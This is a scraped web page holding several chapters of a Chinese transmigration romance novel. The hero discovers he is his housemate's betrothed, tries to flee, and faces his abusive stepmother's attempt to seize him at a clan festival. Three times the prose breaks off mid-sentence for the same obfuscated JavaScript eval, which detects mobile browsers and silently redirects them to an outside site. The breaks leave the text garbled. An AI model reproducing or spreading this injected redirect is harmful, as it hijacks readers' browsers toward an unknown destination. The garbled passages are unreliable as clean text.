寒冷的潭水像冰醒了他的身子，将另一个人的生命轨迹带进来，两段记忆在他的头脑中开始和交错重合。庄聿白一时分辨不清，哪个是真实的自己。 庄周梦蝶，还是蝶梦庄周？ 庄聿白呆呆的，像一个牵线木偶，任凭孟知彰安排处置。 孟知彰递过巾帕，他便给自己擦水；递过干净衣物，他便解带换上；递过一碗姜糖水，他端起来几口喝净。 一苗灯火摇曳，庄聿白静静坐在椅子上。此刻的他，很乱。 原主的记忆就像电影的蒙太奇镜头，在庄聿白脑海一帧一帧闪过，观影人也只有庄聿白一人。 每一帧画面或清晰，或朦胧，或清晰完整，或零散破碎……但整体底色是晦暗的，潮漉漉的，化不开的苦涩和酸涩。 除了辞世的母亲，似乎从来没有人对原主展示过真正的友善和温暖。一年三百六十日，风刀霜剑严相逼。 时不时一张张熟悉又陌生的脸，在镜头中飘过，继母刘氏，弟弟庄鹏程，族长次子庄皓仁……每张脸背后，都是不可告人的算计和恶意。 只需一眼，庄聿白的后背就像被冰冷的刀刃划开，彻骨的痛。 原主的凄惨身世，令庄聿白震惊不已，更愤怒不已。 他不能理解世上怎会有如此荒谬之事：为求所谓的风调雨顺，将一风华正茂的少年活活献祭。这简直是无视法度，践踏道德，灭绝人伦…… 庄聿白恨恨一拳砸在桌边。疼，可不等他收回拳，一个名字猛地跳入他脑海：孟知彰！ 孟知彰？！没错，是这个名字。 原主的生命轨迹，怎么会和“孟知彰”有瓜葛？ 庄聿白大为不解，想了片刻，终于明白过来。天下同名同姓的多了，原主也认识一个叫“孟知彰”的人，不足为奇。 庄聿白的心刚放下片刻，忽然如针线穿肉，猛地悬揪起来。那一帧记忆里，原主祭河前欢天喜地试穿的嫁衣，是要给他的待嫁夫君孟知彰看…… 长宁州，暨县，孟家村，孟知彰！ 庄聿白待嫁夫君，孟知彰。孟知彰未婚夫郎，庄聿白。 几声惊雷在庄聿白头顶滚了又滚。 庄聿白手脚冰凉，三伏天里，他却由内而外冷得直发抖。 孟知彰要娶的男子，竟然是自己！ 庄聿白一阵胸闷，他伏在桌子上，感觉自己呼吸不上来，整个人要憋闷而死。 不知过了多久，等他缓过些神，终于意识到起记忆中的孟知彰，就是此时此刻待在自己身边、而且与自己同床共枕生活了一个月的人！ 他抬起头，下意识满屋搜寻孟知彰的影子。像一只惊慌失措的小鹿，寻找近在咫尺的危险猎豹。 近旁的椅子，是空的。 往日总在旁边椅子上等自己的孟知彰，今日却早早结束温书活动，此刻已经躺去床上睡了。 月光和灯光在房内交错，满室寂静。 熟悉的生活场景下，庄聿白似乎没那么紧张，情绪也渐渐平稳下来。 虽是早年就定下的娃娃亲，原主只知道孟知彰姓谁名甚、家在何处。古代禁忌较多，洞房前成婚双方大多不会见面。也就是原主根本没见过孟知彰，更不知其黑白美丑还是高矮胖瘦。 庄聿白擦了擦额头的冷汗。 万幸啊万幸！这样说来，孟知彰也不知道原主长什么样。而且自己也没说真实名字。方才有那么一瞬，他还傻傻地以为孟知彰早就认出了自己，只是碍于情面，每日同自己演戏呢。 嗐！真是自己吓自己。 演戏？！自己方才怎么会想到孟知彰会同自己逢场作戏呢？有点好笑。他这直耿书生若是会演戏，我庄聿白都能给他姓！ 刚放下心来的庄聿白想起此前夜半三更时，自己的种种行径，忽然又有几分不好意思。 把人家当好兄弟，趁人家睡着，又是摸胸又是抱腰的。这这这，这真是有点过分了。 不知者不罪。那都是过去的事了。庄聿白宽慰自己。 不过自己现在知道了这个身份，再待下去，岂不是太尴尬！我是直男，大家是好兄弟的时候，摸也就摸了。若是婚约在身、成亲在即，马上就要上床真枪实弹地搞…… 那不行！那可万万不行！ 孟知彰他还是了解的，打也打不过，说也说不赢，而且体格子强壮得像猎豹，这要是，这要是……自己这身骨头估计都要散架。 逃命要紧。反正要走的，假装什么都不知道，走掉再说。 要走就现在。悄悄的，免得当面走，大家都尴尬。 如此想着，庄聿白忙起身去收拾东西。他的东西不多，不过一些衣衫、鞋袜等。 银子他带走2两，够花了。孟知彰去府城考试，用钱的地方多，都给他留下。牛家炭窑上的银钱分成将来也都留给孟知彰。就算没考中，孟知彰将来也能靠金玉满堂和茶炭生意所得安稳度日。 他瞥了一眼端端正正平躺在床上的孟知彰。月光拂上他的脸庞，给原本俊朗的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959824|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉宇鼻梁涂上几分神秘。 “孟知彰，我走了。”庄聿白心中悄悄说。 忽然不知怎么了。一种难以名状的情绪在庄聿白五脏六腑不停翻涌，鼻头发酸，喉咙微哽……庄聿白自己也说不清到底始终什么情绪，只觉一阵空落落的。 庄聿白收拾半天，只整理了一个小小包裹，临走他又在桌前坐了会儿，顺手写张便条： “有事，先走了。保重。——琥珀” 便条平置桌上，明早孟知彰醒来就能看见。 庄聿白将笔归位，起身又看看这个生活了近一个月的地方。书桌、书墙、朝北那扇窗户自己跳了两次都没跳出去。一次是误将牛大有认作悍匪，一次是兴二带人来闹，自己准备爬窗出去求救…… 庄聿白笑着摇摇头，自嘲又有点无奈。误入这个庭院，就像昨日之事，转眼却要离开了。将来应该也不太有机会或理由再回来了吧。 他长叹一口气，抓起包裹背在身上，微微调整下位置，正准备吹灭灯火走人。却听床上只人说道： “别走……别走！” 庄聿白心中一惊。坏了，被孟知彰抓包了，这下走不了了，待往床上看去，却发现孟知彰并未醒。双眼紧闭，眉头紧皱，双手在虚空中像是要去抓住什么。 “别走……阿娘！阿爹！别走……”梦中的孟知彰语气急促，忧伤又那么绝望。 庄聿白的心被狠狠撞了一下。他没料到一向稳重自持的孟知彰，竟然也有这脆弱无助的一面。 想想也对，幼年丧父，十四岁上母亲又撒手人寰。这些年，他一个人这些年如何熬过来的。庄聿白不觉走到近前，握住那在虚空中久久不肯放下的手。 烫的…… 庄聿白轻轻试了下孟知彰的额头。发烧了。 哪能见死不救？庄聿白放下包裹。看来今夜是走不了。 好在烧得并不是太厉害，庄聿白用凉水浸了几方巾帕，轮番给孟知彰额头替换，物理降温去烧。 梦中的孟知彰却并不安稳，稍不注意便伸手抓掉额头巾帕。庄聿白将巾帕重新放好，安抚着拍拍他的肩膀，发现根本不奏效时，索性搂住对方上半身，哄孩子似的摇着。 孟知彰终于安稳下来。庄聿白也就这样在床前，半搂半抱地熬了半宿。 幸好孟知彰身体底子好，后半夜低烧就下去了。庄聿白再醒来时，天已大亮，他自己也已经在床前摆起了“大”字。 孟知彰知道自己昨晚生了场疾病，也清楚庄聿白看了自己一夜。他特意做了粥，坐在床边静静等庄聿白醒来。 阳光从窗棂照进来，将二人的影子叠在月白色细葛枕上。 虽只是过了短短一夜，有些东西，有些事情，似乎已经变得不一样了。 不等二人开口说什么，柴门外牛大有一路气喘吁吁跑了来：“知彰，庄家来人了，在族长家。听语气像是要退婚。” 退婚？！ 孟知彰回头看看庄聿白，庄聿白的震惊全写在了脸上。 46. 做戏 确实是庄家来了人，强势要求退婚。 孟知彰和庄聿白定的是娃娃亲，两人母亲在世时是从小长大的手帕交，还在襁褓时这门亲事就定下了。 孟家聘礼三年前已经送去，前些日子又多添了些。孟知彰家中没有长辈，由族长亲自带着去淮南庄家商议婚期。 当时庄聿白后母刘金花言辞闪烁，只说一时定不下，还需请个先生来卜一卦，等选准日子立马通知孟家。可左等右等谁知等来的竟是退婚。 “知彰，你别急，族长正在跟他们理论。”牛婶也急急忙忙跟了来，“不过依我看，与这样人家结亲未必是好事。若是他们非要退……退就退吧，我们也就认了。” 话虽这样说，牛婶的叹息却一声接一声。多年亲事，哪能红口白牙说退就退了的，怎能不让人恼火。 不过此事孟知彰似乎并不觉得意外。 他将一直热在锅中的粥盛出一碗，端至庄聿白面前，摆上一碟调制好的小菜，又递了双筷子，眉宇柔和：“无事。你先吃饭，我去去就回。” 庄聿白接过筷子，却尽量避开孟知彰的视线。他此时不知该以怎样的身份来评论当下之事。作为表弟，自应该义愤填膺，臭骂那悔婚之人。可他现在是那退婚之事的“当事人”啊。 这很难办，也很尴尬。 庄聿白本想装聋作哑，有人却不打算就此罢休，头顶一个问题硬生生砸下来。 “这亲，在你看来……退，还是不退？” 一筷子小菜滞在半空，时间像静止了。庄聿白嘴巴张了张，终究没说出个一二三。 孟知彰却像得到了想要的答案。 他披上件外衫出了门，临行请牛婶和牛大有在家陪着琥珀，并特意交代万事等他回来再说，若有生人来找，凭谁来也不开门。 牛婶将孟知彰送到门外，压低声音：“知彰，有些话不该婶子说。庄家若来退婚，能退就退了吧。那句话咋说的，塞翁失马焉知非福，庄家那后母也不是什么好相与的。你和他庄家哥儿若真成了亲，往后日子也太平不了。” 牛婶往身后指指，意指庄聿白：“这孩子，是个好孩子。你心中要有数。” 孟知彰自然明白牛婶什么意思，他垂下眸子，没有表态。等他再回头，目光与站在门口目送自己的庄聿白视线撞在一起。 那双眸子，干净，明亮，此时却多出一份异样的情绪，意味难明。 * 孟知彰走后，庄聿白作为家中主人，自然要尽地主之谊。 他招呼牛婶和牛大有喝茶，还拿出从城中买回的茶果点心。自己也拿了块荷花酥在手上，细细嚼着，心思却全然不在这上面。平时最喜欢的小食，此时竟失了味道。庄聿白觉得无趣，喝了口茶将小食顺下去。 院中日头正烈，亮得刺眼的庭院地面，偶然划过一两条鸟雀飞翔留下的线影。 为打发时间，牛婶将炭窑上的事情拿来闲话。庄聿白进退得当地回应着，不过很明显有些心不在焉。 门外有任何风吹草动，庄聿白都下意识抬眼去看看，发现并不是孟知彰回来时，又有些怅然若失，这种情绪好莫名。 当然庄聿白也说不出自己此刻究竟什么心情，更不清楚自己是期待孟知彰退婚，还是不退婚。或者他根本什么都不期待。 定亲的是你庄聿白，关我琥珀什么事！反正自己马上就要走了。走得远远的，找一个谁也不认识，谁都找不到自己的地方，重新开始。 庄聿白起身给牛婶和牛大有添茶。 茶水缓缓注入茶盏，香气明亮轻扬。 茶是云无择送的。元觉寺的长庚师父知道云先生喜欢茶，隔三差五便派人送些过来，孟知彰和庄聿白也跟着沾了光。 庄聿白忽然想到些什么，心中一颤。孟知彰和云无择关系这样好，孟知彰定亲之事，云无择想来自然是知道的。那两人端午去云家送节礼，云无择看过来的眼神…… “琥珀，琥珀！” 庄聿白正在思考云无择眼神中的深层意味，却听见有人唤自己，他回过神来：“牛婶，怎么了？” “傻孩子，在想什么，茶都溢出来了。”牛婶笑着将庄聿白手中茶壶接了过去，并招呼牛大有将地上的茶水收拾下。 庄聿白随着牛婶视线看去，原来刚走神没留意，竟将茶盏倒满，还溢了出来。溢出的茶水，正沿着桌边滴滴答答往下溅落。 日影从窗棂移到书桌笔架时，孟知彰终于回了来，神情严肃，眸底是从未有过的果决和坚毅。 想来事情有了结果，但很明显孟知彰此刻并不想说。 牛婶知道孟知彰向来行事稳妥，没多问也没多说，带着牛大有回去了，只留了句：“牛叔牛婶不是外人，若有要帮忙的，尽管提。” 家中只剩庄聿白，独自面对孟知彰，和这奇怪的静默情绪。 庄聿白心中竟莫名开始紧张，他没有一刻像眼下这般强烈地希望自己能和牛婶母子一起离开这个家。 孟知彰关了院门转身回来，庄聿白就留在原地，跟着对方的节奏数着步子。孟知彰今日穿了长衫，这是在表明郑重其事与庄家来人商议定亲之事的态度。步伐沉稳果断，衣袂微振，衣带荡在腿侧。 两人还有几步之遥，庄聿白此刻的心七上八下。应该说些什么才不显心虚吧。可说些什么呢？ “亲事还退么？”“亲事定下来了？”好像都不合适。 庄聿白几次暗暗提气，话到嘴边，终究是什么也没说出来。不过好在孟知彰并没打算同他交谈。 庄聿白看着孟知彰路过自己身边时，视线若有似无地在自己脸上扫过，像猫尾巴轻轻掠过脖颈，痒痒麻麻的。 孟知彰没退婚，他自己说的，像是炫耀自己的战斗成果，语气中不无自豪。 庄聿白在原地站了一会儿，然后随孟知彰进到房内在椅子上坐了。面上挂着随和又得体的标志性笑容，心中却盘算还是早些离开才是。 婚约还在，若被孟知彰发现了自己的真实身份，自己吃了大亏都没地说理去。 孟知彰去书架暗格中翻出一个长方形包裹，层层打开，将其中一个信封状的东西取出来，是一个装订精致的帖子，红色的，镶描着金黄色的边。 孟知彰神情凝滞片刻，像在回忆，更像在暗自谋划。 离得远，庄聿白看看不清上面写的是什么，但能肯定必是珍贵之物。难道这孟知彰家还有什么祖传宝物？算了，再值钱的宝物也没有自己这一世清白珍贵。 天黑了就走。庄聿白下定了决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965256|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心。 “庄聿白。”不轻不重的一声。 “嗯？”庄聿白太久没听人唤自己就名字。他下意识应了一声。 可他立马反应过来，视线去找声音出处，正撞上孟知彰看向自己的那双眼睛。黝黑深邃，意味难明。 他知道自己的真实名字？！ 难道他早就认出了自己？难道他当真一直以来都同自己演戏？庄聿白眼神闪烁，他承认自己慌了。 “庄聿白。”孟知彰盯紧庄聿白的眼睛，乘胜追击又重复了一遍。 有那么一瞬，庄聿白可以百分之一万地确定，孟知彰此刻就是在质问自己，语气甚至带着警告，愤怒的警告。质问为何一直隐瞒身份、欺瞒于他。警告自己胆敢再不说实话，今日这道关算是过不去了。 庄聿白喉咙发紧，后背紧绷，额头细汗不停往外渗。 亲事还在，孟知彰哪怕此刻强了自己，都是合理合法的。他看了眼门外，没用的，跑是跑不掉的。打？十个自己也不是孟知彰的对手。 庄聿白脑中快速运转。真诚是永远的必杀技，还是“从实招来”吧。 就说自己穿越来的，根本就不是他的那什么未婚夫郎。而且自己是直男，也永远当不了他替身文学里的白月光。 山高水长，就此别过。 庄聿白微微调整下坐姿，深吸半口气，正欲开口告别，手上却多出一个杯子。 被塞进来的，带着体温。 “‘庄聿白’这个名字怎么样？”孟知彰声音淡淡，挥挥手上帖子，“定亲帖。” “……什么？”庄聿白声音从喉咙里溢出，小的像是自言自语。 “我未婚夫郎，叫庄聿白。”孟知彰视线若有似无地在庄聿白眼尾的朱红色泪痣上打了个转。 庄聿白眼角被烫了一下，他忙别开视线，低头去摆弄手里的茶盏。人在尴尬的时候尤其忙碌。 茶汤清亮，碧如青苔。或许摩挲得时间太久，庄聿白觉得应该喝一口，才不算失礼。茶盏被略带僵硬地举到半空……不对，还是应该先回一句什么。 “……哦。”庄聿白索性收会茶盏，调整语气，尽量过滤掉任何一点心虚的成分，故作轻松补充道，“真是个好名字。” 茶汤温凉，庄聿白“咕咚咕咚”喝起来，他尽量放缓速度，希望小小的茶盏能帮自己遮掉一些尴尬。 孟知彰也端了杯茶在手上，若无其事品着，余光时不时在庄聿白身上打量，片刻，轻描淡写道： “你打算这几日就走？” 最后一口茶还没来得及咽下，庄聿白呛得猛咳起来。不知是被茶呛的缺氧，还是心思被无情戳穿后的窘迫，庄聿白觉得脸上很烫、很胀。 还是被看出来了。自己收拾好的包裹应该藏到柜子最深处的，庄聿白暗暗怪自己大意了。 一方折叠得如刀裁的巾帕递到庄聿白面前：“可否再缓几日？” 看似提问，孟知彰并没有给对方留回答的时间，仿佛这不是一个请求，只是单方面的决定，深思熟虑后的决定。 不容置疑，且毫无回旋余地。 孟知彰将用皱的巾帕从庄聿白手中取回，拿在手中慢慢摩挲：“过几日族中夏祭，家中事务还需要……琥珀兄帮忙料理一二。” 47. 婚书 夏祭是孟家村孟氏一族夏收后的重要祭祀活动。 届时大开祠堂，所有孟氏儿孙，无论老幼皆焚香供果，以夏收成果敬飨先祖，更求祖宗保佑接下来的秋收平安顺利。 要走这件事既然被发现，庄聿白也没什么好隐瞒，不过是留下来帮几日忙。他应了下来。 谁知庄聿白点头后，孟知彰竟成了甩手掌柜，家中大事小情，让他全担了起来。呵，男人！ 更奇怪的是，不仅孟知彰神龙见首不见尾，连往日几乎随叫随到的牛大有，也一连好几天没了影子。倒是云家的管家刘叔时不时送些果蔬吃食，家中事也帮着照应些。 农时家事都耽误不得。 孟知彰家6亩田地所需肥堆，至少是菜园用量的10倍，隔日一番，庄聿白这个小身板根本搞不定。家中还有金玉满堂的日常出货量要供应，因为牛大有不在家，近日的订单能推的都推了，但还是有那么一两单要做。 窑上做工的乡邻中有跟着堆肥的，庄聿白便花了些银钱请来帮忙，工钱按次数结。金玉满堂的制作，也请牛叔多介绍了几位稳妥乡邻，家中事务才算正常运作下去。 夏祭在即，家中一切安排妥当，新植禾秧也在田中扎根抽叶时，孟知彰似乎才忙好手中事情。 夏祭是大日子，合族人盛装出行。孟知彰和庄聿白也换上了新裁的衣衫，爽朗清举、温其如玉，走在人群中尤为亮眼。 除族长和族中众耆老外，向来尊师重教的孟家人将私塾先生也请了来观礼。云无择带着刘叔拎来一篮山中晚杏说是给夏祭添果品，还送来了元觉寺住持送的佛手柑。 祠堂外张灯结彩，祭祀用的猪羊、果蔬等贡品皆早早备好。仪式不复杂，族长念过祝祷辞，合族跪拜便算礼成。之后，贡品便会按人口分发给族中各门各户。 供奉仪式结束，族长及众人陪着私塾先生从祠堂往外走，闲话着族中子弟近况和各自家中的耕作进展，一派其乐融融景象。 族长抬头看见人群中的孟知彰和庄聿白，笑着将二人唤至跟前，问金玉满堂和茶炭生意如何，若有需要帮忙的地方尽管说。 庄聿白对孟知彰的恩师自是不陌生，只是这算第一次见面私塾先生，族长亲自做了引荐。 庄聿白恭敬行了一礼：“晚生琥珀，拜见先生。” 私塾先生自是知道庄聿白，初次见面未备见面礼，他笑着将手中折扇上的坠子摘下来：“这还是南时送我的扇坠，今日便送与你，今后你和知彰都要好好的。” 庄聿白看了眼孟知彰，双手接过扇坠：“表哥说先生喜欢金玉满堂，改日多送些与先生。” 私塾先生很喜欢这个活泼的后生，众人正说说笑笑，忽见外面闹吵吵一堆人涌上来，似乎是起了什么争执，为首的是一个精明妇人，薄唇粉面，髻上插这一根流苏簪子，因为情绪过于激动而在脸侧甩来甩去。 庄聿白朝那面上看去，只一眼，不由猛地打了一个冷颤。记忆中这张脸出现了无数次，也折磨了原主无数次。此人就是原主的后母，刘金花。 刘金花后母带着族中人来的，浩浩荡荡二三十口，将孟氏祠堂的大门堵住。 她今日要当着孟氏全族的面——来要人。 “好啊！上次来退婚，你们死活不愿意，原来是将人藏了起来。你们孟氏一族，怎么也算个有头有脸的大家族。怎么却当着祖宗的面，做出这种不要脸面的事情？将孝悌忠信置于何地？将礼义廉耻又置于何地？” 刘金花越说越激动，泼妇骂街一般踩着祠堂大门的门槛子。 “哪来的妇人！这是我们孟氏祠堂，岂容你在此撒野！” 孟氏乡邻跟着围上去，若不是看刘金花是个妇人，早有人上来动手了。 族长抬手示意众人不要轻举妄动，对这群不速之客道：“今日我们孟氏夏祭，若有人想在此闹事，不管是谁，别怪我们不留情面。” 刘金花身旁一名长衫男子站了出来，上前对着族长、耆老众人恭敬行了一礼。 “在下庄皓仁，庄氏族长次子。今日前来并非来闹事，而是当着族中众人的面，就一件不平事来讨个说法。” 族长看了来人一眼，神情严肃，语气凌厉：“什么不平事，能找到我们孟氏一族来？” 在孟知彰的亲事上，族长与淮南庄氏打过几次交道。对方的行为处事，只能说令人难以苟同。 庄皓仁冷笑一声，眼睛在人群中不停搜寻：“你们孟氏一族，霸占了我们庄氏一族的人，这难道不是不平事？” 庄聿白知道这事八成是冲自己来的，但眼下走又走不了，躲又躲不开，袖子下掌心不停擦汗。 庄聿白视线往刘金花身旁偏了偏，只觉后背被一道冷刃猛地划开，那人不是当时祭祀自己时给自己上妆的马婆子又能是谁。 马婆子以手遮口，时不时附在后母耳边嘀咕几句，眼神始终死盯着庄聿白。 远远隔着人群，庄聿白仍能感受到那目光中的狠毒和阴险。 刘金花也注意到人群中的庄聿白，她还以为庄聿白是此前那个百依百顺好拿捏的，能任凭她呼来喝去，便叉腰捏着嗓子喊道：“聿哥儿，你过来！” 庄聿白忙移开视线，假装事不关己。 “聿哥儿，你个死……” 刘金花刚要发作，忽想起眼下情形，忙又换了副慈母作派。硬的不吃，只能来软的。她满面春风走向庄聿白，不等靠近，被孟知彰拦了下，只能隔着三尺远同庄聿白说话。 “聿哥儿，你可让母亲心疼死了！母亲没想到有朝一日还能再见到你。”刘金花往手帕子上挤了两滴泪，忙又摆上笑脸，“一切都过去了。母亲来接你回家。还有一件大喜事等着呢！母亲给你重新找了个好人家，聘礼就有满满十抬。你不信？他还特意给了让我给你带了个东西。” 刘金花从怀里掏出一块玉佩，缠枝牡丹，此前吴用让赵管家送来的那块。 孟知彰上前挡开那玉佩，将庄聿白护在身后，居高临下看这刘金花，原本不怒自威的眼眸此刻竟多了些杀气。 “我家夫郎，不需要！” 刘金花被这气势惊得不觉往后退了一步。她稳稳神，想起自己是占理的，便又气鼓鼓迎上前。 “青天白日的，天老爷还在上头看着呢。孟书郎你少胡说！我们聿哥儿怎么就成你家夫郎了？自古婚姻是父母之命、媒妁之言。上次来，我们已经将亲事退掉了。” 孟知彰往前站了一步，语气果决：“你上次来退亲，我并未同意。婚约，仍作数。” 刘金花一看，这架势不对，讲理是讲不明白的，便开始撒泼。 “好啊！亏你还是个读书人！净干些下三滥的事情。你为了不退婚，未拜过天地高堂，就把人私扣在你自己家中，这成何体统！伤风败俗的话，我也不想说。孟知彰，你今日只需把这婚退掉，人让我们带走，过去的事就过去了，我们大人大量也就不再追究。” 孟知彰不与她纠缠，护着庄聿白往外走。谁知刘金花竟然上来撕扯：“没有婚书，便做不得数！今日这人是一样要带走的，说什么也没有用。” 上次刘金花带人来退婚，是因为他们将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971289|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄聿白祭了河，一时交不出人，担心孟家来闹事，才打算自己先登门退婚，态度还算和缓。这次就不一样了，见着了活人，占着了正理，拼了命都要将这婚退了、把人带走。 不久前祭河时给庄聿白上妆的马婆子竟找了来，说那祭河的哥儿还活着，就藏在那未婚夫孟家。不仅活得好好的，还帮孟家赚了不少钱。又是金玉满堂又是茶炭的，满暨县名气响当当。只兰花炭这一项，就有人要出30两来买断。 刘金花听闻庄聿白没有死，甚是震惊，后又听到他不仅没死还帮孟家赚了上百两银子，这还得了，咬牙恨恨骂道：“遭天谴的小杂种，没死还不乖乖滚回来！在家时连个衣服都洗不好，这是藏着本事跑野男人家、给别人赚钱去了！” 刘金花脑子转得快，还未完婚，这些算是未出阁时赚的钱，自然要归娘家所有。刘金花正打算带人上门讨钱。马婆子却笑着拦住她。 “讨钱，不如讨人。” 见刘金花一脸疑惑，马婆子也不藏着掖着，摆弄着手上的一方花手帕说明来意。她这次来也是受人之托，忠人之事。那孟家只有一个读书的娃娃，穷得叮当响，将来能有什么出路。而且现在就能瞒着你们将人哄骗过去藏在家里，以后也定不会跟你这个丈母娘一条心。你也休想沾到他们家一文钱的光。不如重新找个好人家。 到底是一路人。马婆子的话一下说进刘金花的心坎里。 刘金花是个明白人，既然对方如此说，想必是有人来求娶，不由挺直腰杆，也挥着一方手帕掸了掸绣花鞋的泥。拿乔，她擅长。而且现在聿哥儿可是个会赚钱的主，聘礼自然要高。 马婆子直接将一份聘礼单子递过来，现银就有50两，还不算金银细软铺盖首饰。刘金花这辈子都没见过这么多钱。眼睛都看直了。 “那吴家是城中数一数二的富户，这吴小少爷也是一表人才，读书很是上进用心。咱家哥儿一进门就开脸做五姨奶奶，又尊贵又体面。这是多少大家闺秀拜佛求神都抢不到的好姻缘呐！” 刘金花听得心花怒放，嘴角压也压不住，不过转念又犯了愁：“可孟家那边咬死不同容易退婚，这如何是好？” “不退婚，自然是看咱家哥儿会赚钱，才不舍得放手。多赔他们些聘礼就是了。我们吴小公子说了，赔那孟家的聘礼，他悉数给你这个丈母娘补上。还没成亲了，已经为你想得如此周到，将来成为一家人，还能少了您老的好处么！” “若那孟家不放人怎么办？” 马婆子笑道：“他们如果不放人，抢我们也能将人抢回来，我儿子兴二认识些见义勇为的侠士，最是能替天下不公之事打抱不平。” 马婆子说的热闹，刘金花也明白是什么意思。答应马婆子，事成之后，定包个十两的红包。 孟氏祠堂中，刘金花仍大吵大闹着，庄皓仁也来帮腔：“既没婚书，也未完婚。这亲事就此作罢！我庄家愿意多返还双倍聘礼！” “你此前给我看的，不是婚书吗？”庄聿白不再装了，悄悄扯扯孟知彰的衣袖。 他明白今日若跟着庄家回去，自己就算完了。识时务者为俊杰，生死之间，弯腐名节也没那么重要了。保命要紧。 “那是定帖。不是婚书。”孟知彰神情淡然，此时竟看不出情绪。 “真的没有婚书么？”庄聿白将孟知彰的衣袖扯得更紧些，满眼急切，不觉还沾上些泪花，“只有定帖，没有婚书，这可怎么办？” “你想要婚书？”孟知彰看了下四周，俯到庄聿白耳边，慢条斯理道：“就这么急着——嫁给我？” 48. 晚杏 庄家之人称没有婚书，孟知彰和庄聿白的亲事便不作数。他们就算多返双倍聘礼，也要将这门亲退了。 庄聿白自然不想跟他们回去，他往孟知彰身凑了又凑，情真意切，希望孟知彰能救他一救。 心中想着只要能活着过了眼下这一关，当个替身委身于孟知彰，总好过被刘金花带回去折磨死或者被那吴用糟蹋了要强一万倍。 不知是不是听到庄聿白的心声，孟知彰将庄聿白挡在身后，以一夫之勇独面庄家众人，语气异常冷峻且狠厉：“若是我不同意退亲呢！” 刘金花往地上啐了一口，捏起嗓子指着孟知彰道：“呸！毛都没长齐，你还硬气上了！这可由不得你。今日这亲退也得退，不退也得退！” “这是我们孟家村，在我们地盘上，说话放尊重些。”乡邻中有人气不过。 “尊重不尊重的，也不是动动嘴就能决定。”刘金花给一旁的庄皓仁递了个眼神。 庄皓仁一抬手，七八个壮汉从后面围上来，持枪带棍，面目狰狞。为首的还是那个老熟人——兴二。 无利不起早。让兴二往老情人吴用的床榻上送人，他自是不愿意。但若能将庄聿白抢出孟家村，落入自己手中，到时岂不是全凭他兴二发挥！ 今日之事若办成，他往吴家送亲的路上，队伍或遭了劫，或遇到匪，或碰上猛兽……糟蹋人的花样，兴二会的不要太多。能给庄聿白留个像样的全尸，已经算他兴二仁慈。 马婆子认出给吴家做金玉满堂的小哥儿就是当初祭河之人时，心中已经暗暗有了盘算。得知管家送玉佩在庄聿白那吃了瘪，便知道机会来了。 果然，那吴用听说马婆子认识庄聿白娘家人，当即封了五两银子红包给她，还保证事成之后另有重谢。 谢不谢的倒在其次。庄聿白让她财路尽断、让她儿子兴二挨了一顿狠打又在吴家彻底失了势。此仇不报，誓不为人。 兴二吃过孟知彰的亏，知道此人身上很有些功夫。不过，这些年他帮吴家到处采买也不是白干的，黑白两道结识不少人。所以，这次兴二带来的人，都算是千挑万选的练家子。 当然，这是孟氏一族的地盘，到别人家中抢人，能抢到人只是第一步，能顺利撤离才算成功。除了跟在身边进入祠堂的这些外，兴二还请了一些道上的朋友在村外“乘凉”，若里面真动起手，半柱香功夫就能到现场支援。 有武力装备跟着，刘金花等才敢这般张狂。 不过事涉两个家族，尤其是以庄氏族长次子身份前来的庄皓仁，面子工程还是要做一做。他向族长抱了抱拳：“族长莫惊，诸位莫慌。我们今日前来只是为了将孟氏一族所扣押的庄氏之人带走。” “扣押？！”族长冷哼一声，往前踏了几步：“你们这是欺我孟氏无人么！” 庄聿白环顾祠堂情形。先不说今日祭祀，乡邻皆空手而来，即便带了工具，也很难是这些狂徒的对手。 “牛大有呢？几日不见，怎么祭祀也没来。” 祠堂大门被庄家之人堵着，众人按族长示意缓缓退至祠堂内部。 庄聿白人群中遍寻牛大有。无果。正急得无可无不可，黄澄澄一篮东西递到面前，裹着馥郁甜香。 杏子。 孟知彰不知何时将刘叔的杏篮取来：“山中晚杏，很甜。帮我个忙。去分与乡邻，每人一颗。” 庄聿白明白这是要自己虽众人躲去室内，自己虽帮不上大忙，此时此刻、此情此情岂能去躲清闲？他坚持留下，刘叔过来半拉半扯半拖半拽方硬生生将他从孟知彰身边强行带走。 “放心，我家公子和你家孟公子的功夫都是长庚师父教的，没事的。” 那七八个壮汉早在院中摆下阵仗，庄皓仁和刘金花等人也退至一旁，脸上写满胜券在握的不可一世。 云无择撞撞下孟知彰肩膀：“该我们上场了？” 孟知彰回过神，视线从被推进室内去的庄聿白身上收回来：“云兄，今日没带佩剑？” “用剑，岂不算欺负他们？” 孟知彰就近折了两根竹条，云无择心照不宣接过一条。 暑日高悬，剑影斜飞，唉声乱撞。 